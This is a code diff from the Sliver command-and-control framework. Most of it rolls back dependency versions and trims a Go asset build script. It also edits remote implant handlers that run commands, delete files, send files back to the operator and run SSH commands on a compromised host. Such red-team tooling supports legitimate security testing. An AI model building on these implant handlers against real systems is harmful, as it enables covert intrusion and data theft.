       jekyll (~> 3.0)
@@ -142,8 +136,6 @@ GEM
     jekyll-github-metadata (2.13.0)
       jekyll (>= 3.4, < 5.0)
       octokit (~> 4.0, != 4.4.0)
-    jekyll-include-cache (0.2.1)
-      jekyll (>= 3.7, < 5.0)
     jekyll-mentions (1.6.0)
       html-pipeline (~> 2.3)
       jekyll (>= 3.7, < 5.0)
@@ -163,50 +155,50 @@ GEM
       rubyzip (>= 1.3.0, < 3.0)
     jekyll-sass-converter (1.5.2)
       sass (~> 3.4)
-    jekyll-seo-tag (2.8.0)
+    jekyll-seo-tag (2.7.1)
       jekyll (>= 3.8, < 5.0)
     jekyll-sitemap (1.4.0)
       jekyll (>= 3.7, < 5.0)
     jekyll-swiss (1.0.0)
-    jekyll-theme-architect (0.2.0)
+    jekyll-theme-architect (0.1.1)
+      jekyll (~> 3.5)
+      jekyll-seo-tag (~> 2.0)
+    jekyll-theme-cayman (0.1.1)
+      jekyll (~> 3.5)
+      jekyll-seo-tag (~> 2.0)
+    jekyll-theme-dinky (0.1.1)
+      jekyll (~> 3.5)
+      jekyll-seo-tag (~> 2.0)
+    jekyll-theme-hacker (0.1.2)
       jekyll (> 3.5, < 5.0)
       jekyll-seo-tag (~> 2.0)
-    jekyll-theme-cayman (0.2.0)
-      jekyll (> 3.5, < 5.0)
+    jekyll-theme-leap-day (0.1.1)
+      jekyll (~> 3.5)
       jekyll-seo-tag (~> 2.0)
-    jekyll-theme-dinky (0.2.0)
-      jekyll (> 3.5, < 5.0)
+    jekyll-theme-merlot (0.1.1)
+      jekyll (~> 3.5)
       jekyll-seo-tag (~> 2.0)
-    jekyll-theme-hacker (0.2.0)
-      jekyll (> 3.5, < 5.0)
+    jekyll-theme-midnight (0.1.1)
+      jekyll (~> 3.5)
       jekyll-seo-tag (~> 2.0)
-    jekyll-theme-leap-day (0.2.0)
-      jekyll (> 3.5, < 5.0)
+    jekyll-theme-minimal (0.1.1)
+      jekyll (~> 3.5)
       jekyll-seo-tag (~> 2.0)
-    jekyll-theme-merlot (0.2.0)
-      jekyll (> 3.5, < 5.0)
+    jekyll-theme-modernist (0.1.1)
+      jekyll (~> 3.5)
       jekyll-seo-tag (~> 2.0)
-    jekyll-theme-midnight (0.2.0)
-      jekyll (> 3.5, < 5.0)
-      jekyll-seo-tag (~> 2.0)
-    jekyll-theme-minimal (0.2.0)
-      jekyll (> 3.5, < 5.0)
-      jekyll-seo-tag (~> 2.0)
-    jekyll-theme-modernist (0.2.0)
-      jekyll (> 3.5, < 5.0)
-      jekyll-seo-tag (~> 2.0)
-    jekyll-theme-primer (0.6.0)
+    jekyll-theme-primer (0.5.4)
       jekyll (> 3.5, < 5.0)
       jekyll-github-metadata (~> 2.9)
       jekyll-seo-tag (~> 2.0)
-    jekyll-theme-slate (0.2.0)
-      jekyll (> 3.5, < 5.0)
+    jekyll-theme-slate (0.1.1)
+      jekyll (~> 3.5)
       jekyll-seo-tag (~> 2.0)
-    jekyll-theme-tactile (0.2.0)
-      jekyll (> 3.5, < 5.0)
+    jekyll-theme-tactile (0.1.1)
+      jekyll (~> 3.5)
       jekyll-seo-tag (~> 2.0)
-    jekyll-theme-time-machine (0.2.0)
-      jekyll (> 3.5, < 5.0)
+    jekyll-theme-time-machine (0.1.1)
+      jekyll (~> 3.5)
       jekyll-seo-tag (~> 2.0)
     jekyll-titles-from-headings (0.5.3)
       jekyll (>= 3.3, < 5.0)
@@ -221,33 +213,35 @@ GEM
     kramdown-parser-gfm (1.1.0)
       kramdown (~> 2.0)
     liquid (4.0.3)
-    listen (3.7.1)
+    listen (3.5.1)
       rb-fsevent (~> 0.10, >= 0.10.3)
       rb-inotify (~> 0.9, >= 0.9.10)
     mercenary (0.3.6)
-    mini_portile2 (2.8.0)
+    mini_portile2 (2.6.1)
     minima (2.5.1)
       jekyll (>= 3.5, < 5.0)
       jekyll-feed (~> 0.9)
       jekyll-seo-tag (~> 2.1)
-    minitest (5.15.0)
+    minitest (5.14.4)
     multipart-post (2.1.1)
-    nokogiri (1.13.6)
-      mini_portile2 (~> 2.8.0)
+    nokogiri (1.12.5)
+      mini_portile2 (~> 2.6.1)
       racc (~> 1.4)
-    octokit (4.22.0)
+    octokit (4.21.0)
       faraday (>= 0.9)
       sawyer (~> 0.8.0, >= 0.5.3)
     pathutil (0.16.2)
       forwardable-extended (~> 2.6)
     public_suffix (4.0.6)
-    racc (1.6.0)
-    rb-fsevent (0.11.1)
+    racc (1.5.2)
+    rb-fsevent (0.11.0)
     rb-inotify (0.10.1)
       ffi (~> 1.0)
     rexml (3.2.5)
     rouge (3.26.0)
-    ruby2_keywords (0.0.5)
+    ruby-enum (0.9.0)
+      i18n
+    ruby2_keywords (0.0.4)
     rubyzip (2.3.2)
     safe_yaml (1.0.5)
     sass (3.7.4)
@@ -267,14 +261,14 @@ GEM
       ethon (>= 0.9.0)
     tzinfo (1.2.9)
       thread_safe (~> 0.1)
-    tzinfo-data (1.2021.5)
+    tzinfo-data (1.2021.1)
       tzinfo (>= 1.0.0)
     unf (0.1.4)
       unf_ext
-    unf_ext (0.0.8)
-    unicode-display_width (1.8.0)
+    unf_ext (0.0.7.7)
+    unicode-display_width (1.7.0)
     wdm (0.1.1)
-    zeitwerk (2.5.4)
+    zeitwerk (2.4.2)
 
 PLATFORMS
   ruby

go-assets.sh

@@ -20,8 +20,8 @@ set -e
 
 # Creates the static go asset archives
 
-GO_VER="1.18.3"
-GARBLE_VER="1.18.0"
+GO_VER="1.17.6"
+GARBLE_VER="1.17.5"
 
 GO_ARCH_1="amd64"
 GO_ARCH_2="arm64"
@@ -102,9 +102,9 @@ cp -vv darwin-go.zip $OUTPUT_DIR/darwin/$GO_ARCH_2/go.zip
 rm -rf ./go
 rm -f darwin-go.zip go$GO_VER.darwin-$GO_ARCH_2.tar.gz
 
-# --- Linux (amd64) --- 
-curl --output go$GO_VER.linux-$GO_ARCH_1.tar.gz https://dl.google.com/go/go$GO_VER.linux-$GO_ARCH_1.tar.gz
-tar xvf go$GO_VER.linux-$GO_ARCH_1.tar.gz
+# --- Linux --- 
+curl --output go$GO_VER.linux-amd64.tar.gz https://dl.google.com/go/go$GO_VER.linux-$GO_ARCH_1.tar.gz
+tar xvf go$GO_VER.linux-amd64.tar.gz
 cd go
 rm -rf $BLOAT_FILES
 rm -rf ./src
@@ -118,22 +118,6 @@ cp -vv linux-go.zip $OUTPUT_DIR/linux/$GO_ARCH_1/go.zip
 rm -rf ./go
 rm -f linux-go.zip go$GO_VER.linux-$GO_ARCH_1.tar.gz
 
-# --- Linux (arm64) --- 
-curl --output go$GO_VER.linux-$GO_ARCH_2.tar.gz https://dl.google.com/go/go$GO_VER.linux-$GO_ARCH_2.tar.gz
-tar xvf go$GO_VER.linux-$GO_ARCH_2.tar.gz
-cd go
-rm -rf $BLOAT_FILES
-rm -rf ./src
-rm -f ./pkg/tool/linux_$GO_ARCH_2/doc
-rm -f ./pkg/tool/linux_$GO_ARCH_2/tour
-rm -f ./pkg/tool/linux_$GO_ARCH_2/test2json
-cd ..
-zip -r linux-go.zip ./go
-mkdir -p $OUTPUT_DIR/linux/$GO_ARCH_2
-cp -vv linux-go.zip $OUTPUT_DIR/linux/$GO_ARCH_2/go.zip
-rm -rf ./go
-rm -f linux-go.zip go$GO_VER.linux-$GO_ARCH_2.tar.gz
-
 # --- Windows --- 
 curl --output go$GO_VER.windows-amd64.zip https://dl.google.com/go/go$GO_VER.windows-$GO_ARCH_1.zip
 unzip go$GO_VER.windows-amd64.zip
@@ -156,8 +140,8 @@ echo "-----------------------------------------------------------------"
 
 echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
 curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
-echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
-curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
+file $OUTPUT_DIR/linux/$GO_ARCH_1/garble
+
 echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe"
 curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
 echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1"

go.mod

@@ -2,6 +2,9 @@ module github.com/bishopfox/sliver
 
 go 1.17
 
+// fix wgctrl requiring old wireguard
+replace golang.zx2c4.com/wireguard => golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
+
 replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.4
 
 require (
@@ -10,51 +13,63 @@ require (
 	github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
 	github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
 	github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
+	github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
+	github.com/Microsoft/go-winio v0.4.16 // indirect
 	github.com/alecthomas/chroma v0.8.1
 	github.com/cheggaaa/pb/v3 v3.0.5
 	github.com/desertbit/columnize v2.1.0+incompatible
 	github.com/desertbit/go-shlex v0.1.1
 	github.com/desertbit/grumble v1.1.1
 	github.com/fatih/color v1.12.0
+	github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
 	github.com/gofrs/uuid v3.3.0+incompatible
+	github.com/golang/protobuf v1.5.2 // indirect
 	github.com/google/uuid v1.3.0
 	github.com/gorilla/mux v1.8.0
 	github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
+	github.com/hashicorp/go-multierror v1.1.1 // indirect
 	github.com/jedib0t/go-pretty/v6 v6.2.4
 	github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
 	github.com/lesnuages/go-winio v0.4.19
 	github.com/lesnuages/snitch v0.6.0
-	github.com/mattn/go-sqlite3 v1.14.12
+	github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
+	github.com/mattn/go-isatty v0.0.13 // indirect
+	github.com/mattn/go-sqlite3 v1.14.9
 	github.com/miekg/dns v1.1.35
-	github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
+	github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
 	github.com/pquerna/otp v1.3.0
-	github.com/shirou/gopsutil/v3 v3.21.10
-	github.com/sirupsen/logrus v1.8.1
+	github.com/sergi/go-diff v1.1.0 // indirect
+	github.com/sirupsen/logrus v1.7.0
 	github.com/spf13/cobra v1.1.1
 	github.com/stretchr/testify v1.7.0
-	github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
-	golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
-	golang.org/x/net v0.0.0-20220225172249-27dd8689420f
-	golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
-	golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
-	golang.org/x/text v0.3.7
-	golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
-	golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
-	google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
-	google.golang.org/protobuf v1.27.1
+	golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
+	golang.org/x/net v0.0.0-20210614182718-04defd469f4e
+	golang.org/x/sys v0.0.0-20211117180635-dee7805ff2e1
+	golang.org/x/text v0.3.6
+	golang.zx2c4.com/wireguard v0.0.20200121
+	golang.zx2c4.com/wireguard/wgctrl v0.0.0-20200609130330-bd2cb7843e1b
+	google.golang.org/genproto v0.0.0-20210406143921-e86de6bf7a46 // indirect
+	google.golang.org/grpc v1.37.0
+	google.golang.org/protobuf v1.26.0
 	gopkg.in/AlecAivazis/survey.v1 v1.8.8
+	gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
 	gorm.io/driver/mysql v1.0.3
 	gorm.io/driver/postgres v1.0.5
 	gorm.io/driver/sqlite v1.1.3
 	gorm.io/gorm v1.21.14
-	gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
-	modernc.org/sqlite v1.16.0
+	inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
+)
+
+require (
+	github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
+	github.com/shirou/gopsutil/v3 v3.21.10
+	github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
+	golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1
+	modernc.org/sqlite v1.14.3
 )
 
 require (
 	github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
-	github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
-	github.com/Microsoft/go-winio v0.5.1 // indirect
 	github.com/StackExchange/wmi v1.2.1 // indirect
 	github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
 	github.com/VividCortex/ewma v1.1.1 // indirect
@@ -67,13 +82,10 @@ require (
 	github.com/desertbit/closer/v3 v3.1.2 // indirect
 	github.com/desertbit/readline v1.5.1 // indirect
 	github.com/dlclark/regexp2 v1.2.0 // indirect
-	github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
 	github.com/go-ole/go-ole v1.2.6 // indirect
 	github.com/go-sql-driver/mysql v1.5.0 // indirect
-	github.com/golang/protobuf v1.5.2 // indirect
 	github.com/google/btree v1.0.1 // indirect
 	github.com/hashicorp/errwrap v1.1.0 // indirect
-	github.com/hashicorp/go-multierror v1.1.1 // indirect
 	github.com/inconshreveable/mousetrap v1.0.0 // indirect
 	github.com/jackc/chunkreader/v2 v2.0.1 // indirect
 	github.com/jackc/pgconn v1.7.0 // indirect
@@ -87,32 +99,26 @@ require (
 	github.com/jinzhu/now v1.1.2 // indirect
 	github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
 	github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
-	github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
 	github.com/mattn/go-colorable v0.1.8 // indirect
-	github.com/mattn/go-isatty v0.0.13 // indirect
 	github.com/mattn/go-runewidth v0.0.9 // indirect
 	github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
-	github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
 	github.com/pmezard/go-difflib v1.0.0 // indirect
 	github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
-	github.com/sergi/go-diff v1.1.0 // indirect
 	github.com/spf13/pflag v1.0.5 // indirect
 	github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
-	golang.org/x/mod v0.5.1 // indirect
+	golang.org/x/mod v0.3.0 // indirect
+	golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d // indirect
 	golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
-	golang.org/x/tools v0.1.9 // indirect
+	golang.org/x/tools v0.1.0 // indirect
 	golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
-	golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
-	google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
 	google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
-	gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
-	gopkg.in/yaml.v3 v3.0.0 // indirect
+	gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
 	lukechampine.com/uint128 v1.1.1 // indirect
-	modernc.org/cc/v3 v3.35.24 // indirect
-	modernc.org/ccgo/v3 v3.15.18 // indirect
-	modernc.org/libc v1.14.12 // indirect
+	modernc.org/cc/v3 v3.35.18 // indirect
+	modernc.org/ccgo/v3 v3.12.95 // indirect
+	modernc.org/libc v1.11.104 // indirect
 	modernc.org/mathutil v1.4.1 // indirect
-	modernc.org/memory v1.0.7 // indirect
+	modernc.org/memory v1.0.5 // indirect
 	modernc.org/opt v0.1.1 // indirect
 	modernc.org/strutil v1.1.1 // indirect
 	modernc.org/token v1.0.0 // indirect

implant/go-mod

@@ -1,24 +1,24 @@
 module github.com/bishopfox/sliver
 
-go 1.17
+go 1.16
 
 require (
-github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
-github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
-github.com/Microsoft/go-winio v0.5.0 // indirect
-github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
-github.com/gofrs/uuid v4.0.0+incompatible
-github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
-github.com/lesnuages/go-winio v0.4.19
-github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
-github.com/pquerna/otp v1.3.0
-github.com/stretchr/testify v1.7.0
-golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
-golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4
-golang.org/x/sys v0.0.0-20210616094352-59db8d763f22
-golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
-golang.zx2c4.com/wireguard/windows v0.5.1
-gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
-google.golang.org/protobuf v1.23.0
-github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
+	github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
+	github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
+	github.com/Microsoft/go-winio v0.5.0 // indirect
+	github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
+	github.com/gofrs/uuid v4.0.0+incompatible
+	github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
+	github.com/lesnuages/go-winio v0.4.19
+	github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
+	github.com/pquerna/otp v1.3.0
+	github.com/stretchr/testify v1.7.0
+	golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
+	golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4
+	golang.org/x/sys v0.0.0-20210616094352-59db8d763f22
+	golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
+	golang.zx2c4.com/wireguard/windows v0.5.1
+	google.golang.org/protobuf v1.23.0
+	inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
+	github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
 )

implant/sliver/handlers/handlers.go

@@ -153,7 +153,7 @@ func rmHandler(data []byte, resp RPCResponse) {
 	_, err = os.Stat(target)
 	if err == nil {
 		if (target == "/" || target == "C:\\") && !rmReq.Force {
-			err = errors.New("cowardly refusing to remove volume root without force")
+			err = errors.New("Cowardly refusing to remove volume root without force")
 		}
 	}
 
@@ -178,28 +178,6 @@ func rmHandler(data []byte, resp RPCResponse) {
 	resp(data, err)
 }
 
-func mvHandler(data []byte, resp RPCResponse) {
-	mvReq := &sliverpb.MvReq{}
-	err := proto.Unmarshal(data, mvReq)
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("error decoding message: %v", err)
-		// {{end}}
-		return
-	}
-
-	move := &sliverpb.Mv{}
-	err = os.Rename(mvReq.Src, mvReq.Dst)
-	if err != nil {
-		move.Response = &commonpb.Response{
-			Err: err.Error(),
-		}
-	}
-
-	data, err = proto.Marshal(move)
-	resp(data, err)
-}
-
 func mkdirHandler(data []byte, resp RPCResponse) {
 	mkdirReq := &sliverpb.MkdirReq{}
 	err := proto.Unmarshal(data, mkdirReq)
@@ -277,13 +255,6 @@ func pwdHandler(data []byte, resp RPCResponse) {
 // Send a file back to the hive
 func downloadHandler(data []byte, resp RPCResponse) {
 	var rawData []byte
-
-	/*
-		A flag for whether this is a directory - used if
-		this download is being looted
-	*/
-	var isDir bool
-
 	downloadReq := &sliverpb.DownloadReq{}
 	err := proto.Unmarshal(data, downloadReq)
 	if err != nil {
@@ -314,10 +285,8 @@ func downloadHandler(data []byte, resp RPCResponse) {
 		log.Printf("error creating the archive: %v", err)
 		// {{end}}
 		rawData = dirData.Bytes()
-		isDir = true
 	} else {
 		rawData, err = ioutil.ReadFile(target)
-		isDir = false
 	}
 
 	var download *sliverpb.Download
@@ -325,12 +294,10 @@ func downloadHandler(data []byte, resp RPCResponse) {
 		gzipData := bytes.NewBuffer([]byte{})
 		gzipWrite(gzipData, rawData)
 		download = &sliverpb.Download{
-			Path:     target,
-			Data:     gzipData.Bytes(),
-			Encoder:  "gzip",
-			Exists:   true,
-			IsDir:    isDir,
-			Response: &commonpb.Response{},
+			Path:    target,
+			Data:    gzipData.Bytes(),
+			Encoder: "gzip",
+			Exists:  true,
 		}
 	} else {
 		download = &sliverpb.Download{Path: target, Exists: false}
@@ -562,30 +529,31 @@ func unsetEnvHandler(data []byte, resp RPCResponse) {
 	resp(data, err)
 }
 
-func reconfigureHandler(data []byte, resp RPCResponse) {
-	reconfigReq := &sliverpb.ReconfigureReq{}
-	err := proto.Unmarshal(data, reconfigReq)
+func reconnectIntervalHandler(data []byte, resp RPCResponse) {
+	reconnectIntervalReq := &sliverpb.ReconnectIntervalReq{}
+	err := proto.Unmarshal(data, reconnectIntervalReq)
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Printf("error decoding message: %v\n", err)
 		// {{end}}
 		return
 	}
-	if reconfigReq.ReconnectInterval != 0 {
-		transports.SetReconnectInterval(reconfigReq.ReconnectInterval)
-	}
 
-	// {{if .Config.IsBeacon}}
-	if reconfigReq.BeaconInterval != 0 {
-		transports.SetInterval(reconfigReq.BeaconInterval)
-	}
-	if reconfigReq.BeaconJitter != 0 {
-		transports.SetJitter(reconfigReq.BeaconJitter)
-	}
+	reconnectInterval := reconnectIntervalReq.GetReconnectInterval()
+	// {{if .Config.Debug}}
+	log.Printf("Update reconnect interval called: %d\n", reconnectInterval)
 	// {{end}}
 
-	reconfigResp := &sliverpb.Reconfigure{}
-	data, err = proto.Marshal(reconfigResp)
+	// Set the reconnect interval value
+	transports.SetReconnectInterval(reconnectInterval)
+
+	recIntervalResp := &sliverpb.ReconnectInterval{}
+	recIntervalResp.Response = &commonpb.Response{}
+	if err != nil {
+		recIntervalResp.Response.Err = err.Error()
+	}
+
+	data, err = proto.Marshal(recIntervalResp)
 	resp(data, err)
 }
 
@@ -593,9 +561,6 @@ func reconfigureHandler(data []byte, resp RPCResponse) {
 
 func gzipWrite(w io.Writer, data []byte) error {
 	gw, err := gzip.NewWriterLevel(w, gzip.BestSpeed)
-	if err != nil {
-		return err
-	}
 	defer gw.Close()
 	gw.Write(data)
 	return err
@@ -615,58 +580,12 @@ func gzipRead(data []byte) ([]byte, error) {
 	return buf.Bytes(), nil
 }
 
-func standarizeArchiveFileName(path string) string {
-	// Change all backslashes to forward slashes
-	var standardFilePath string = strings.ReplaceAll(path, "\\", "/")
-
-	/*
-		Remove the volume / root from the directory
-		path. This makes it so that files on the
-		system where the archive is extracted to
-		will not be clobbered.
-
-		Tried with filepath.VolumeName, but that function
-		does not work reliably with Windows paths
-	*/
-	if strings.HasPrefix(standardFilePath, "//") {
-		// If this a UNC path, filepath.Rel is not going to work
-		return standardFilePath[2:]
-	} else {
-		// Calculate a path relative to the root
-		pathParts := strings.SplitN(standardFilePath, "/", 2)
-		if len(pathParts) < 2 {
-			// Then something is wrong with this path
-			return standardFilePath
-		}
-
-		basePath := pathParts[0]
-		fileRelPath := pathParts[1]
-
-		if basePath == "" {
-			// If base path is blank, that means it started with / and / is the root
-			return fileRelPath
-		} else {
-			/*
-				Then this is almost certainly Windows, and we will set the archive up
-				so that it preserves the path but without the colon.
-				Something like:
-				c/windows/system32/file.whatever
-				Colons are not legal in Windows filenames, so let's get rid of them.
-			*/
-			basePath = strings.ReplaceAll(basePath, ":", "")
-			basePath = strings.ToLower(basePath)
-			return basePath + "/" + fileRelPath
-		}
-	}
-}
-
 func compressDir(path string, buf io.Writer) error {
 	zipWriter := gzip.NewWriter(buf)
 	tarWriter := tar.NewWriter(zipWriter)
 
 	filepath.Walk(path, func(file string, fi os.FileInfo, err error) error {
-		fileName := standarizeArchiveFileName(file)
-
+		fileName := file
 		// If the file is a SymLink replace fileInfo and path with the symlink destination.
 		if fi.Mode()&os.ModeSymlink == os.ModeSymlink {
 			file, err = filepath.EvalSymlinks(file)

implant/sliver/handlers/handlers_darwin.go

@@ -37,7 +37,6 @@ var (
 		pb.MsgPwdReq:       pwdHandler,
 		pb.MsgRmReq:        rmHandler,
 		pb.MsgMkdirReq:     mkdirHandler,
-		pb.MsgMvReq:        mvHandler,
 		pb.MsgIfconfigReq:  ifconfigHandler,
 		pb.MsgExecuteReq:   executeHandler,
 		pb.MsgEnvReq:       getEnvHandler,
@@ -49,8 +48,8 @@ var (
 
 		pb.MsgSideloadReq: sideloadHandler,
 
-		pb.MsgReconfigureReq: reconfigureHandler,
-		pb.MsgSSHCommandReq:  runSSHCommandHandler,
+		pb.MsgReconnectIntervalReq: reconnectIntervalHandler,
+		pb.MsgSSHCommandReq:        runSSHCommandHandler,
 
 		// Extensions
 		pb.MsgRegisterExtensionReq: registerExtensionHandler,

implant/sliver/handlers/handlers_generic.go

@@ -32,20 +32,19 @@ import (
 
 var (
 	genericHandlers = map[uint32]RPCHandler{
-		sliverpb.MsgPing:           pingHandler,
-		sliverpb.MsgLsReq:          dirListHandler,
-		sliverpb.MsgDownloadReq:    downloadHandler,
-		sliverpb.MsgUploadReq:      uploadHandler,
-		sliverpb.MsgCdReq:          cdHandler,
-		sliverpb.MsgPwdReq:         pwdHandler,
-		sliverpb.MsgRmReq:          rmHandler,
-		sliverpb.MsgMkdirReq:       mkdirHandler,
-		sliverpb.MsgMvReq:          mvHandler,
-		sliverpb.MsgExecuteReq:     executeHandler,
-		sliverpb.MsgSetEnvReq:      setEnvHandler,
-		sliverpb.MsgEnvReq:         getEnvHandler,
-		sliverpb.MsgUnsetEnvReq:    unsetEnvHandler,
-		sliverpb.MsgReconfigureReq: reconfigureHandler,
+		sliverpb.MsgPing:                 pingHandler,
+		sliverpb.MsgLsReq:                dirListHandler,
+		sliverpb.MsgDownloadReq:          downloadHandler,
+		sliverpb.MsgUploadReq:            uploadHandler,
+		sliverpb.MsgCdReq:                cdHandler,
+		sliverpb.MsgPwdReq:               pwdHandler,
+		sliverpb.MsgRmReq:                rmHandler,
+		sliverpb.MsgMkdirReq:             mkdirHandler,
+		sliverpb.MsgExecuteReq:           executeHandler,
+		sliverpb.MsgSetEnvReq:            setEnvHandler,
+		sliverpb.MsgEnvReq:               getEnvHandler,
+		sliverpb.MsgUnsetEnvReq:          unsetEnvHandler,
+		sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
 	}
 )
 

implant/sliver/handlers/handlers_linux.go

@@ -34,7 +34,6 @@ var (
 		sliverpb.MsgPwdReq:       pwdHandler,
 		sliverpb.MsgRmReq:        rmHandler,
 		sliverpb.MsgMkdirReq:     mkdirHandler,
-		sliverpb.MsgMvReq:        mvHandler,
 		sliverpb.MsgTaskReq:      taskHandler,
 		sliverpb.MsgIfconfigReq:  ifconfigHandler,
 		sliverpb.MsgExecuteReq:   executeHandler,
@@ -47,9 +46,8 @@ var (
 		sliverpb.MsgNetstatReq:  netstatHandler,
 		sliverpb.MsgSideloadReq: sideloadHandler,
 
-		sliverpb.MsgReconfigureReq: reconfigureHandler,
-		sliverpb.MsgSSHCommandReq:  runSSHCommandHandler,
-		sliverpb.MsgProcessDumpReq: dumpHandler,
+		sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
+		sliverpb.MsgSSHCommandReq:        runSSHCommandHandler,
 
 		// {{if .Config.WGc2Enabled}}
 		// Wireguard specific

implant/sliver/handlers/handlers_windows.go

@@ -65,7 +65,6 @@ var (
 		sliverpb.MsgUnsetEnvReq:              unsetEnvHandler,
 		sliverpb.MsgExecuteTokenReq:          executeTokenHandler,
 		sliverpb.MsgGetPrivsReq:              getPrivsHandler,
-		sliverpb.MsgCurrentTokenOwnerReq:     currentTokenOwnerHandler,
 
 		// Platform specific
 		sliverpb.MsgIfconfigReq:            ifconfigHandler,
@@ -83,18 +82,17 @@ var (
 		sliverpb.MsgRegistryListValuesReq:  regValuesListHandler,
 
 		// Generic
-		sliverpb.MsgPing:           pingHandler,
-		sliverpb.MsgLsReq:          dirListHandler,
-		sliverpb.MsgDownloadReq:    downloadHandler,
-		sliverpb.MsgUploadReq:      uploadHandler,
-		sliverpb.MsgCdReq:          cdHandler,
-		sliverpb.MsgPwdReq:         pwdHandler,
-		sliverpb.MsgRmReq:          rmHandler,
-		sliverpb.MsgMvReq:          mvHandler,
-		sliverpb.MsgMkdirReq:       mkdirHandler,
-		sliverpb.MsgExecuteReq:     executeHandler,
-		sliverpb.MsgReconfigureReq: reconfigureHandler,
-		sliverpb.MsgSSHCommandReq:  runSSHCommandHandler,
+		sliverpb.MsgPing:                 pingHandler,
+		sliverpb.MsgLsReq:                dirListHandler,
+		sliverpb.MsgDownloadReq:          downloadHandler,
+		sliverpb.MsgUploadReq:            uploadHandler,
+		sliverpb.MsgCdReq:                cdHandler,
